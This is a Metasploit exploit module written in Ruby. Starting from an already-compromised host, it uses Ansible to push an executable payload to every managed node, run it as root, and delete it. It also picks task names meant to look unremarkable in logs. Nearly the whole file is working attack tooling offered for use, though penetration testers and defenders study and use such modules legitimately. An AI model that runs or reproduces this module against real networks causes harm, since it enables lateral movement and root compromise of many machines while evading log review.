##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Ansible

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ansible Agent Payload Deployer',
        'Description' => %q{
          This exploit module creates an ansible module for deployment to nodes in the network.
          It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
          targets which have been selected (default all).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'n0tty' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Stance' => Msf::Exploit::Stance::Passive,
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
          [ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
        ],
        'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
        'DefaultTarget' => 0,
        'Passive' => true, # this allows us to get multiple shells calling home
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
      OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
      OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
      OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
    ]
  end

  def module_contents(payload_name)
    # The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
    "- name: #{Rex::Text.rand_text_numeric(3..6)}
  hosts: #{datastore['HOSTS']}
  remote_user: root
  tasks:
    - name: 1
      ansible.builtin.copy:
        src: #{datastore['WritableDir']}/#{payload_name}
        dest: #{datastore['TargetWritableDir']}/#{payload_name}
    - name: 2
      ansible.builtin.file:
        path: #{datastore['TargetWritableDir']}/#{payload_name}
        owner: root
        group: root
        mode: '0700'
    - name: 3
      command: #{datastore['TargetWritableDir']}/#{payload_name}
    - name: 4
      file:
        path: #{datastore['TargetWritableDir']}/#{payload_name}
        state: absent
"
  end

  def check
    return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?

    CheckCode::Appears('ansible playbook executable found')
  end

  def ping_hosts_print
    results = ping_hosts
    if results.nil?
      print_error('Unable to parse ping hosts results')
      return
    end

    columns = ['Host', 'Status', 'Ping', 'Changed']
    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)

    count = 0
    results.each do |match|
      table << [match['host'], match['status'], match['ping'], match['changed']]
      count += 1 if match['ping'] == 'pong'
    end
    print_good(table.to_s) unless table.rows.empty?
    # give the user a few seconds to cancel if its too many etc
    print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
    Rex.sleep(10)
  end

  def exploit
    # Make sure we can write our exploit and payload to the local system
    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
    ping_hosts_print if datastore['CALCULATE']

    payload_name = rand_text_alphanumeric(5..10)
    module_name = rand_text_alphanumeric(5..10)

    print_status('Creating yaml job to execute')
    yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
    write_file(yaml_file, module_contents(payload_name))
    register_file_for_cleanup(yaml_file)
    print_status('Writing payload')
    upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
    register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
    print_status('Executing ansible job')
    resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
    playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
    print_good("Stored run logs to: #{playbook_log}")
    # stolen from exploit/multi/handler
    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

end
